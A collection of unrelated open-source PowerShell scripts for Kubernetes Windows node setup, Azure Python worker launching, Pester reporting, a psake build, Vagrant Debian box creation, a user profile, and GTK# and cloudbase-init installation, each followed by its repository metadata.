# Copyright 2019 The Kubernetes Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. <# .SYNOPSIS Top-level script that runs on Windows nodes to join them to the K8s cluster. #> # IMPORTANT PLEASE NOTE: # Any time the file structure in the `windows` directory changes, `windows/BUILD` # and `k8s.io/release/lib/releaselib.sh` must be manually updated with the changes. # We HIGHLY recommend not changing the file structure, because consumers of # Kubernetes releases depend on the release structure remaining stable. $ErrorActionPreference = 'Stop' # Turn on tracing to debug # Set-PSDebug -Trace 1 # Update TLS setting to enable Github downloads and disable progress bar to # increase download speed. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $ProgressPreference = 'SilentlyContinue' # Returns the GCE instance metadata value for $Key where key is an "attribute" # of the instance. If the key is not present in the instance metadata returns # $Default if set, otherwise returns $null. function Get-InstanceMetadataAttribute { param ( [parameter(Mandatory=$true)] [string]$Key, [parameter(Mandatory=$false)] [string]$Default ) $url = ("http://metadata.google.internal/computeMetadata/v1/instance/" + "attributes/$Key") try { $client = New-Object Net.WebClient $client.Headers.Add('Metadata-Flavor', 'Google') return ($client.DownloadString($url)).Trim() } catch [System.Net.WebException] { if ($Default) { return $Default } else { Write-Host "Failed to retrieve value for $Key." return $null } } } # Fetches the value of $MetadataKey, saves it to C:\$Filename and imports it as # a PowerShell module. # # Note: this function depends on common.psm1. function FetchAndImport-ModuleFromMetadata { param ( [parameter(Mandatory=$true)] [string]$MetadataKey, [parameter(Mandatory=$true)] [string]$Filename ) $module = Get-InstanceMetadataAttribute $MetadataKey if (Test-Path C:\$Filename) { if (-not $REDO_STEPS) { Log-Output "Skip: C:\$Filename already exists, not overwriting" Import-Module -Force C:\$Filename return } Log-Output "Warning: C:\$Filename already exists, will overwrite it." } New-Item -ItemType file -Force C:\$Filename | Out-Null Set-Content C:\$Filename $module Import-Module -Force C:\$Filename } # Returns true if the ENABLE_STACKDRIVER_WINDOWS or ENABLE_NODE_LOGGING field in kube_env is true. # $KubeEnv is a hash table containing the kube-env metadata keys+values. # ENABLE_NODE_LOGGING is used for legacy Stackdriver Logging, and will be deprecated (always set to False) # soon. ENABLE_STACKDRIVER_WINDOWS is added to indicate whether logging is enabled for windows nodes. function IsLoggingEnabled { param ( [parameter(Mandatory=$true)] [hashtable]$KubeEnv ) if ($KubeEnv.Contains('ENABLE_STACKDRIVER_WINDOWS') -and ` ($KubeEnv['ENABLE_STACKDRIVER_WINDOWS'] -eq 'true')) { return $true } elseif ($KubeEnv.Contains('ENABLE_NODE_LOGGING') -and ` ($KubeEnv['ENABLE_NODE_LOGGING'] -eq 'true')) { return $true } return $false } try { # Don't use FetchAndImport-ModuleFromMetadata for common.psm1 - the common # module includes variables and functions that any other function may depend # on. $module = Get-InstanceMetadataAttribute 'common-psm1' New-Item -ItemType file -Force C:\common.psm1 | Out-Null Set-Content C:\common.psm1 $module Import-Module -Force C:\common.psm1 # TODO(pjh): update the function to set $Filename automatically from the key, # then put these calls into a loop over a list of XYZ-psm1 keys. FetchAndImport-ModuleFromMetadata 'k8s-node-setup-psm1' 'k8s-node-setup.psm1' Dump-DebugInfoToConsole Set-PrerequisiteOptions $kube_env = Fetch-KubeEnv if (Test-IsTestCluster $kube_env) { Log-Output 'Test cluster detected, installing OpenSSH.' FetchAndImport-ModuleFromMetadata 'install-ssh-psm1' 'install-ssh.psm1' InstallAndStart-OpenSsh StartProcess-WriteSshKeys } Set-EnvironmentVars Create-Directories Download-HelperScripts DownloadAndInstall-Crictl Configure-Crictl Setup-ContainerRuntime DownloadAndInstall-AuthPlugin DownloadAndInstall-KubernetesBinaries DownloadAndInstall-CSIProxyBinaries Start-CSIProxy Create-NodePki Create-KubeletKubeconfig Create-KubeproxyKubeconfig Set-PodCidr Configure-HostNetworkingService Prepare-CniNetworking Configure-HostDnsConf Configure-GcePdTools Configure-Kubelet # Even if Stackdriver is already installed, the function will still [re]start the service. if (IsLoggingEnabled $kube_env) { Install-LoggingAgent Configure-LoggingAgent Restart-LoggingAgent } # Flush cache to disk before starting kubelet & kube-proxy services # to make metadata server route and stackdriver service more persistent. Write-Volumecache C -PassThru Start-WorkerServices Log-Output 'Waiting 15 seconds for node to join cluster.' Start-Sleep 15 Verify-WorkerServices $config = New-FileRotationConfig # TODO(random-liu): Generate containerd log into the log directory. Schedule-LogRotation -Pattern '.*\.log$' -Path ${env:LOGS_DIR} -RepetitionInterval $(New-Timespan -Hour 1) -Config $config Pull-InfraContainer # Flush cache to disk to persist the setup status Write-Volumecache C -PassThru } catch { Write-Host 'Exception caught in script:' Write-Host $_.InvocationInfo.PositionMessage Write-Host "Kubernetes Windows node setup failed: $($_.Exception.Message)" exit 1 }
andrewsykim/kubernetes
cluster/gce/windows/configure.ps1
PowerShell
apache-2.0
6,091
# Copyright (c) Microsoft Corporation. # # This source code is subject to terms and conditions of the Apache License, Version 2.0. A # copy of the license can be found in the License.html file at the root of this distribution. If # you cannot locate the Apache License, Version 2.0, please send an email to # vspython@microsoft.com. By using this source code in any fashion, you are agreeing to be bound # by the terms of the Apache License, Version 2.0. # # You must not remove this notice, or any other, from this software. <# .Synopsis Launches Python with the specified worker on a Microsoft Azure Cloud Service .Description This script is deployed with your worker role and is used to launch the correct version of Python with the worker script. You may freely modify it to customize how your worker is run, though most customizations can be made through your Python project. To specify the version of Python your worker should run with, make it the active environment for your project. (Ensure that you have a WebPI reference or startup task to install this version on the instance - see the documentation for ConfigureCloudService.ps1 for more details.) If your version of Python cannot be detected normally, you can add the DeployedPythonInterpreterPath property to your Python project by editing the .pyproj file. This path will take precedence over the active environment. To install packages using pip, include a requirements.txt file in the root directory of your project. To set PYTHONPATH (or equivalent) before running the worker, add the necessary Search Paths to your project. To specify the script to run, make it the startup file in your project. To specify command-line arguments, add them to the Command Line Arguments property under Project Properties\Debug. Ensure the following entry point specification is added to the ServiceDefinition.csdef file in your Cloud project: <Runtime> <Environment> <Variable name="EMULATED"> <RoleInstanceValue xpath="/RoleEnvironment/Deployment/@emulated"/> </Variable> </Environment> <EntryPoint> <ProgramEntryPoint commandLine="bin\ps.cmd LaunchWorker.ps1" setReadyOnProcessStart="true" /> </EntryPoint> </Runtime> #> [xml]$rolemodel = Get-Content $env:RoleRoot\RoleModel.xml $ns = @{ sd="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceDefinition" }; $is_debug = (Select-Xml -Xml $rolemodel -Namespace $ns -XPath "/sd:RoleModel/sd:Properties/sd:Property[@name='Configuration'][@value='Debug']").Count -eq 1 $is_emulated = $env:EMULATED -eq 'true' $env:RootDir = (gi "$($MyInvocation.MyCommand.Path)\..\..").FullName cd "${env:RootDir}" $config = Get-Content "$(Get-Location)\bin\AzureSetup.cfg" -EA:Stop function read_value($name, $default) { $value = (@($default) + @($config | %{ [regex]::Match($_, $name + '=(.+)') } | ?{ $_.Success } | %{ $_.Groups[1].Value }))[-1] return [Environment]::ExpandEnvironmentVariables($value) } $interpreter_path = read_value 'interpreter_path' $interpreter_path_emulated = read_value 'interpreter_path_emulated' if ($is_emulated -and $interpreter_path_emulated -and (Test-Path $interpreter_path_emulated)) { $interpreter_path = $interpreter_path_emulated } if (-not $interpreter_path -or -not (Test-Path $interpreter_path)) { $interpreter_version = read_value 'interpreter_version' '2.7' foreach ($key in @('HKLM:\Software\Wow6432Node', 'HKLM:\Software', 'HKCU:\Software')) { $regkey = gp "$key\Python\PythonCore\$interpreter_version\InstallPath" -EA SilentlyContinue if ($regkey) { $interpreter_path = "$($regkey.'(default)')\python.exe" if (Test-Path $interpreter_path) { break } } } } Set-Alias py (gi $interpreter_path -EA Stop) $python_path_variable = read_value 'python_path_variable' 'PYTHONPATH' [Environment]::SetEnvironmentVariable($python_path_variable, (read_value 'python_path' '')) $worker_directory = read_value 'worker_directory' '.' cd $worker_directory $worker_command = read_value 'worker_command' 'worker.py' iex "py $worker_command"
jkorell/PTVS
Python/Product/PythonTools/Templates/SharedFiles/LaunchWorker.ps1
PowerShell
apache-2.0
4,352
# how to collect the data from Pester and use them in a good looking webpage for the boos # simple test invoke-pester -Script simple.test.ps1 # function .\integration.function.test.ps1 # parameter $Date = Get-Date -Format ddMMyyyHHmmss $reportFolder = 'c:\report\' if (!(test-path $reportFolder)) { mkdir $reportFolder } Push-Location $reportFolder $pesterxml = $reportFolder + "deploiresult_$Date.xml" invoke-pester -Script integration.test.ps1 -OutputFile $pesterxml -OutputFormat NUnitXml & C:\scripts\reportunit.exe $reportFolder
omiossec/PowerShellSaterday-OM
3-testingTheInfra/runingthetest.ps1
PowerShell
mit
557
<# Copyright (c) 2013 Code Owls LLC, All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. #> properties { $config = 'Debug'; $slnFile = @( './src/CodeOwls.TxF.sln' ); $targetPath = "./src/CodeOwls.TxF/bin"; $moduleName = "TxF"; $moduleSource = "./src/Modules"; $metadataAssembly = 'CodeOwls.TxF.dll' $currentReleaseNotesPath = '.\src\Modules\TxF\en-US\about_TxF_Version.help.txt' }; framework '4.0' $private = "this is a private task not meant for external use"; task default -depends Install; # private tasks task __VerifyConfiguration -description $private { Assert ( @('Debug', 'Release') -contains $config ) "Unknown configuration, $config; expecting 'Debug' or 'Release'"; Assert ( Test-Path $slnFile ) "Cannot find solution, $slnFile"; Write-Verbose ("packageDirectory: " + ( get-packageDirectory )); } task __CreatePackageDirectory -description $private { get-packageDirectory | create-packageDirectory; } task __CreateModulePackageDirectory -description $private { get-modulePackageDirectory | create-packageDirectory; } # primary targets task Build -depends __VerifyConfiguration -description "builds any outdated dependencies from source" { exec { msbuild $slnFile /p:Configuration=$config /t:Build } } task Clean -depends __VerifyConfiguration,CleanModule -description "deletes all temporary build artifacts" { exec { msbuild $slnFile /p:Configuration=$config /t:Clean } } task Rebuild -depends Clean,Build -description "runs a clean build"; task Package -depends PackageModule -description "assembles distributions in the source hive" # clean tasks task CleanModule -depends __CreateModulePackageDirectory -description "clears the module package staging area" { get-modulePackageDirectory | remove-item -recurse -force; } # package tasks task PackageModule -depends CleanModule,Build,__CreateModulePackageDirectory -description "assembles module distribution file hive" -action { $mp = get-modulePackageDirectory; $psdFile = "$mp/$moduleName/$moduleName.psd1"; $bin = "$mp/$moduleName/bin"; $version = get-packageVersion; write-verbose "package module $moduleName in $mp with version $version"; # copy module src hive to distribution hive Copy-Item $moduleSource -container -recurse -Destination $mp -Force; # copy bins to module bin area mkdir $bin -force | out-null; get-targetOutputPath | ls | copy-item -dest $bin -recurse -force; $psd = get-content $psdFile; $psd -replace "ModuleVersion = '[\d\.]+'","ModuleVersion = '$version'" | out-file $psdFile; } # install tasks task Uninstall -description "uninstalls the module from the local user module repository" { $modulePath = $Env:PSModulePath -split ';' | select -First 1 | Join-Path -ChildPath $moduleName; if( Test-Path $modulePath ) { Write-Verbose "uninstalling from local module repository at $modulePath"; $modulePath | ri -Recurse -force; } } task Install -depends InstallModule -description "installs the module to the local machine"; task InstallModule -depends PackageModule -description "installs the module to the local user module repository" { $packagePath = get-modulePackageDirectory; $modulePath = $Env:PSModulePath -split ';' | select -First 1; Write-Verbose "installing to local module repository at $modulePath"; ls $packagePath | Copy-Item -recurse -Destination $modulePath -Force; } function get-packageDirectory { return "." | resolve-path | join-path -child "/build/$config"; } function get-modulePackageDirectory { return "." | resolve-path | join-path -child "/build/$config/Modules"; } function create-PackageDirectory( [Parameter(ValueFromPipeline=$true)]$packageDirectory ) { process { write-verbose "checking for package path $packageDirectory ..." if( !(Test-Path $packageDirectory ) ) { Write-Verbose "creating package directory at $packageDirectory ..."; mkdir $packageDirectory | Out-Null; } } } function get-targetOutputPath { $targetPath | join-path -childPath $config } function get-packageVersion { $md = $targetPath | join-path -childPath $config | join-path -ChildPath $metadataAssembly; ( get-item $md | select -exp versioninfo | select -exp productversion ) }
beefarino/TxF
default.ps1
PowerShell
mit
4,820
<# .SYNOPSIS Creates a Vagrant box for Debian 8 (Jessie). .DESCRIPTION The New-JessieBox function creates a Vagrant box with a minimal installation of Debian 8 (Jessie). The box is customizable using the definition file, which is written in PowerShell object notation (PSON). The following things can be customized in the definition file: * The name of the box. * The amount of memory in the box. * The number of disks. * The partioning of the first disk. SECURITY NOTE: The contents of the definition file are not parsed, but are fed directly to PowerShell. ONLY USE DEFINITION FILES YOU FULL TRUST. .PARAMETER DefinitionFile The path to the definition file. The contents must be PowerShell object notation (PSON). SECURITY NOTE: The contents of this file are not parsed, but are fed directly to PowerShell. ONLY USE DEFINITION FILES YOU FULL TRUST. .PARAMETER Headless If given the VirtualBox GUI of the virtual machine will not be shown. .EXAMPLE C:\PS> New-JessieBox.ps1 mem_2GiB-disk_40GiB(system_8GiB-swap_1GiB).pson.ps1 Assuming the definition file describes a box with the following characteristics: * 2 GiB of memory * 1 disk of 40 GiB * A system partition of 8 GiB * A swap partition of 1 GiB New-JessieBox will create a VirtualBox virtual machine, install Jessie on it and package the virtual machine as a Vagrant box. #> param ( [parameter( Mandatory = $true )][string]$DefinitionFile, [parameter( Mandatory = $false )][switch]$Headless ) function Assert-CommandExists { param ( [parameter( Mandatory = $true )][string[]]$ApplicationName, [parameter( Mandatory = $true )][string[]]$Command, [parameter( Mandatory = $false )][string[]]$Parameters, [parameter( Mandatory = $true )][string[]]$HomePageUrl ) try { & $Command $Parameters | Out-Null } catch { # No action needed. Ignore errors and rely on the return value for command detection. } finally { $DoesCommandExist = $? } if ( -not $DoesCommandExist ) { throw "`"$Command`" (which is part of $ApplicationName) must be installed and added to `"`$env:Path`". Download from: $HomePageUrl" } } function Get-PortCountParameterName { $VirtualBoxVersion = & VBoxManage --version if ( $VirtualBoxVersion -lt '4.3' ) { $result = '--sataportcount' } else { $result = '--portcount' } $result; } function Test-RunningVirtualMachine { param ( [parameter( Mandatory = $true )][string[]]$Name ) ( & VBoxManage list runningvms | Select-String $Name -SimpleMatch ) -ne $null } function Stop-VirtualMachineIfRunning { param ( [parameter( Mandatory = $true )][string[]]$Name ) if ( Test-RunningVirtualMachine $Name ) { & VBoxManage controlvm $Name poweroff } } function Test-VirtualMachine { param ( [parameter( Mandatory = $true )][string[]]$Name ) & VBoxManage showvminfo $Name | Out-Null $? } function Unregister-VirtualMachineIfExists { param ( [parameter( Mandatory = $true )][string[]]$Name ) if ( Test-VirtualMachine $Name ) { & VBoxManage unregistervm $Name --delete } } function Remove-ItemIfExists { param ( [parameter( Mandatory = $true )][string[]]$Path ) if ( Test-Path $Path ) { Remove-Item $Path -Recurse -Force } } function Assert-FileHasSha512Hash { param ( [parameter( Mandatory = $true )][string[]]$Path, [parameter( Mandatory = $true )][string[]]$ExpectedSha512 ) $ActualSha512 = ( Get-FileHash $Path -Algorithm SHA512 ).Hash if ( ( $ExpectedSha512.ToLower() ) -ne ( $ActualSha512.ToLower() ) ) { throw "`"$Path`" was expected to have SHA-512: $ExpectedSha512, but actually has SHA-512: $ActualSha512" } } function Wait-InstallationFinished { param ( [parameter( Mandatory = $true )][string[]]$Name ) while ( Test-RunningVirtualMachine $Name ) { Start-Sleep -Seconds 2 } } function Copy-ToUnixItem { param ( [parameter( Mandatory = $true )][string[]]$SourcePath, [parameter( Mandatory = $true )][string[]]$DestinationPath ) $Contents = Get-Content $SourcePath -Raw $ContentsWithUnixLineEndings = $Contents -replace '\r?\n', "`n" $ContentsWithUnixLineEndingsAsUtf8Bytes = [System.Text.Encoding]::UTF8.GetBytes( $ContentsWithUnixLineEndings ) Set-Content $DestinationPath $ContentsWithUnixLineEndingsAsUtf8Bytes -Encoding Byte } function coalesce { param ( [parameter( Mandatory = $false )][object[]]$Values ) $result = $null $ValueIndex = 0 while ( $result -eq $null -and $ValueIndex -lt $Values.Length ) { $result = $Values[ $ValueIndex ] $ValueIndex += 1 } $result } # Parameter validation if ( -not ( Test-Path $DefinitionFile ) ) { throw "`"$DefinitionFile`" does not exist." } # Environment validation Assert-CommandExists -ApplicationName Vagrant -Command vagrant -Parameters --version -HomePageUrl https://www.vagrantup.com/ Assert-CommandExists -ApplicationName VirtualBox -Command VBoxManage -Parameters '-v' -HomePageUrl https://www.virtualbox.org/ Assert-CommandExists -ApplicationName 7-Zip -Command 7z -Parameters t, 7z-presence-test.zip -HomePageUrl http://7-zip.org/ Assert-CommandExists -ApplicationName GnuWin -Command cpio -Parameters --version -HomePageUrl http://gnuwin32.sourceforge.net/ Assert-CommandExists -ApplicationName 'Open Source for Win32 by TumaGonx Zakkum' -Command mkisofs -Parameters -version -HomePageUrl http://opensourcepack.blogspot.nl/p/cdrtools.html # Load the definition $Definition = & $DefinitionFile # Environment-specific values $IsoFolderPath = Join-Path ( Get-Location ) iso $CustomIsoPath = Join-Path $IsoFolderPath custom.iso $BuildFolderPath = Join-Path ( Get-Location ) build $BuildVboxFolderPath = Join-Path $BuildFolderPath vbox $BuildIsoFolderPath = Join-Path $BuildFolderPath iso $BuildIsoCustomFolderPath = Join-Path $BuildIsoFolderPath custom $StartvmParameters = 'startvm', $Definition.Name if ( $Headless ) { $StartvmParameters += '--type', 'headless' } # The main script Stop-VirtualMachineIfRunning $Definition.Name Unregister-VirtualMachineIfExists $Definition.Name Remove-ItemIfExists $BuildFolderPath Remove-ItemIfExists $CustomIsoPath Remove-ItemIfExists ( Join-Path ( Get-Location ) "$( $Definition.Name ).box" ) if ( -not ( Test-path $IsoFolderPath ) ) { New-Item -Type Directory $IsoFolderPath | Out-Null } New-Item -Type Directory $BuildVboxFolderPath | Out-Null New-Item -Type Directory $BuildIsoCustomFolderPath | Out-Null $IsoUrlAsUri = [Uri]$Definition.IsoUrl $IsoUrlPathSegments = $IsoUrlAsUri.Segments $LocalInstallationIsoPath = Join-Path $IsoFolderPath ( $IsoUrlPathSegments[ $IsoUrlPathSegments.Length - 1 ] ) if ( -not ( Test-Path $LocalInstallationIsoPath ) ) { Invoke-WebRequest $IsoUrlAsUri -OutFile $LocalInstallationIsoPath } Assert-FileHasSha512Hash $LocalInstallationIsoPath $Definition.IsoSha512 if ( -not ( Test-Path $CustomIsoPath ) ) { & 7z x $LocalInstallationIsoPath "-o$BuildIsoCustomFolderPath" $PlatformspecificInstallationFolder = Get-ChildItem $BuildIsoCustomFolderPath -Filter install.* | Where-Object { $_.Extension -ne '' } $PlatformspecificInstallationFolderPath = Join-Path $BuildIsoCustomFolderPath $PlatformspecificInstallationFolder.Name $PlatformspecificInstallationFilesPattern = Join-Path $PlatformspecificInstallationFolderPath '*' $InstallationFolderPath = Join-Path $BuildIsoCustomFolderPath install Copy-Item $PlatformspecificInstallationFilesPattern $InstallationFolderPath -Recurse $CompressedInitrdPath = Join-Path $InstallationFolderPath initrd.gz & 7z x "-o$BuildFolderPath" $CompressedInitrdPath .\preseed-template.ps1 $Definition | Out-File ( Join-Path $BuildFolderPath preseed.cfg ) -Encoding ascii Push-Location $BuildFolderPath 'preseed.cfg' | cpio --verbose --create --append --format='newc' --file=initrd Remove-Item $CompressedInitrdPath -Force & 7z a $CompressedInitrdPath initrd Pop-Location $IsolinuxFolderPath = Join-Path $BuildIsoCustomFolderPath isolinux $IsolinuxConfigurationFilePath = Join-Path $IsolinuxFolderPath isolinux.cfg Remove-Item $IsolinuxConfigurationFilePath Copy-Item isolinux.cfg $IsolinuxConfigurationFilePath $IsolinuxBootCatPath = Join-Path $IsolinuxFolderPath boot.cat Remove-Item $IsolinuxBootCatPath -Force $PostInstallationScript = coalesce $Definition.PostInstallationScript, 'late_command.sh' Copy-ToUnixItem $PostInstallationScript ( Join-Path $BuildIsoCustomFolderPath late_command.sh ) # http://cdrtools.sourceforge.net/private/man/cdrecord/mkisofs.8.html & mkisofs ` -rational-rock ` -V 'Custom Debian Install CD' ` -no-cache-inodes ` -quiet ` -J ` -full-iso9660-filenames ` -eltorito-boot isolinux/isolinux.bin ` -eltorito-catalog isolinux/boot.cat ` -no-emul-boot ` -boot-load-size 4 ` -boot-info-table ` -o $CustomIsoPath ` $BuildIsoCustomFolderPath } if ( -not ( Test-VirtualMachine $Definition.Name ) ) { & VBoxManage createvm ` --name $Definition.Name ` --ostype Debian_64 ` --register ` --basefolder $BuildVboxFolderPath $MemorySizeInMebibytes = coalesce $Definition.MemorySizeInMebibytes, 360 & VBoxManage modifyvm $Definition.Name ` --memory $MemorySizeInMebibytes ` --boot1 dvd ` --boot2 disk ` --boot3 none ` --boot4 none ` --vram 12 ` --pae off ` --rtcuseutc on & VBoxManage storagectl $Definition.Name ` --name 'IDE Controller' ` --add ide ` --controller PIIX4 ` --hostiocache on & VBoxManage storageattach $Definition.Name ` --storagectl 'IDE Controller' ` --port 1 ` --device 0 ` --type dvddrive ` --medium $CustomIsoPath & VBoxManage storagectl $Definition.Name ` --name 'SATA Controller' ` --add sata ` --controller IntelAhci ` ( Get-PortCountParameterName ) 1 ` --hostiocache off $DiskOrdinal = 0 $Definition.Disks | ForEach-Object { $Disk = $_ $DiskImagePath = Join-Path ( Join-Path $BuildVboxFolderPath $Definition.Name ) "$( $Definition.Name )-$DiskOrdinal.vdi" $SizeInMebibytes = coalesce $Disk.SizeInMebibytes, 4096 & VBoxManage createhd ` --filename $DiskImagePath ` --size $SizeInMebibytes & VBoxManage storageattach $Definition.Name ` --storagectl 'SATA Controller' ` --port $DiskOrdinal ` --device 0 ` --type hdd ` --medium $DiskImagePath $DiskOrdinal += 1 } & VBoxManage $StartvmParameters Wait-InstallationFinished $Definition.Name & VBoxManage storageattach $Definition.Name ` --storagectl 'IDE Controller' ` --port 1 ` --device 0 ` --type dvddrive ` --medium emptydrive } & vagrant package --base $Definition.Name --output "$( $Definition.Name ).box"
jstuyts/vagrant-jessie-minimal-amd64-customizable
New-JessieBox.ps1
PowerShell
mit
11,251
## Profile.ps1 ## Creates profile for Powershell with useful functions ## ## Author: J. Lerma ## Date: December 13, 2015 ## ### FUNCTIONS # Function to open profile for editing function pro {notepad $profile.CurrentUserAllHosts} # Function to open PowerShell Help in a .chm file # where language code is 0409 (for English) function Get-CHM { (invoke-item $env:windir\help\mui\0409\WindowsPowerShellHelp.chm) } # Function to list aliases for cmdlets function Get-CmdletAlias ($cmdletname) { get-alias | Where {$_.definition -like "*$cmdletname*"} | ft Definition, Name -auto } # TODO: Add an Add-PsSnapin function to add any Powershell snap-ins that are used. # Function to customize console. function Color-Console { $host.ui.rawui.backgroundcolor = "white" $host.ui.rawui.foregroundcolor = "black" $hosttime = (dir $pshome\powershell.exe).creationtime $Host.UI.RawUI.WindowTitle = "Windows Powershell $hostversion ($hosttime)" clear-host } Color-console # Function to add custom PowerShell prompt with # computer name and working directory function prompt { $env:computername + "\" + (get-location) + "> " }
JoseALermaIII/PowerShell-tutorial
Scripts/1-Profile.ps1
PowerShell
mit
1,175
Param( [string] $Version = "2.12.45" ) $ErrorActionPreference = 'Stop' $uri = "https://xamarin.azureedge.net/GTKforWindows/Windows/gtk-sharp-$Version.msi" $HOME_DIR = if ($env:HOME) { $env:HOME } else { $env:USERPROFILE } $tempDir = Join-Path "$HOME_DIR" "gtk-sharp-temp" $installer = Join-Path "$tempDir" "gtk-sharp.msi" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null Write-Host "Downloading GTK# Installer: $uri..." .\scripts\download-file.ps1 -Uri $uri -OutFile $installer $p = "$env:BUILD_SOURCESDIRECTORY\output\logs\install-logs" New-Item -ItemType Directory -Force -Path $p | Out-Null msiexec /i $installer /norestart /quiet /l* $p\gtk-sharp-install.log exit $LASTEXITCODE
mono/SkiaSharp
scripts/install-gtk.ps1
PowerShell
mit
706
#download installer $client = new-object System.Net.WebClient $client.DownloadFile("https://cloudbase.it/downloads/CloudbaseInitSetup_Stable_x64.msi", "C:\windows\temp\CloudbaseInitSetup_Stable_x64.msi" ) # install the payload start-process -FilePath 'c:\Windows\temp\CloudbaseInitSetup_Stable_x64.msi' -ArgumentList '/qn /l*v C:\windows\temp\cloud-init.log LOGGINGSERIALPORTNAME=COM1 USERNAME=admin' -passthru | wait-process # verify that cloudbase-init tools exists if (-not(test-path -path "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\LocalScripts")){ Write-output "cloudbase-init not installed exiting..." exit 1 } move-item C:\Windows\Temp\cloudbase-init-unattend.conf "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\conf\cloudbase-init-unattend.conf" -force move-item C:\Windows\Temp\cloudbase-init.conf "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\conf\cloudbase-init.conf" -force move-item C:\Windows\Temp\cloudbase-init-firstboot.ps1 "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\LocalScripts\cloudbase-init-firstboot.ps1" -force start-process -nonewwindow -FilePath "C:/Windows/system32/sc.exe" -ArgumentList "config cloudbase-init start= demand" -wait
trodemaster/packer-win-pc
scripts/cloudbase-init.ps1
PowerShell
mit
1,356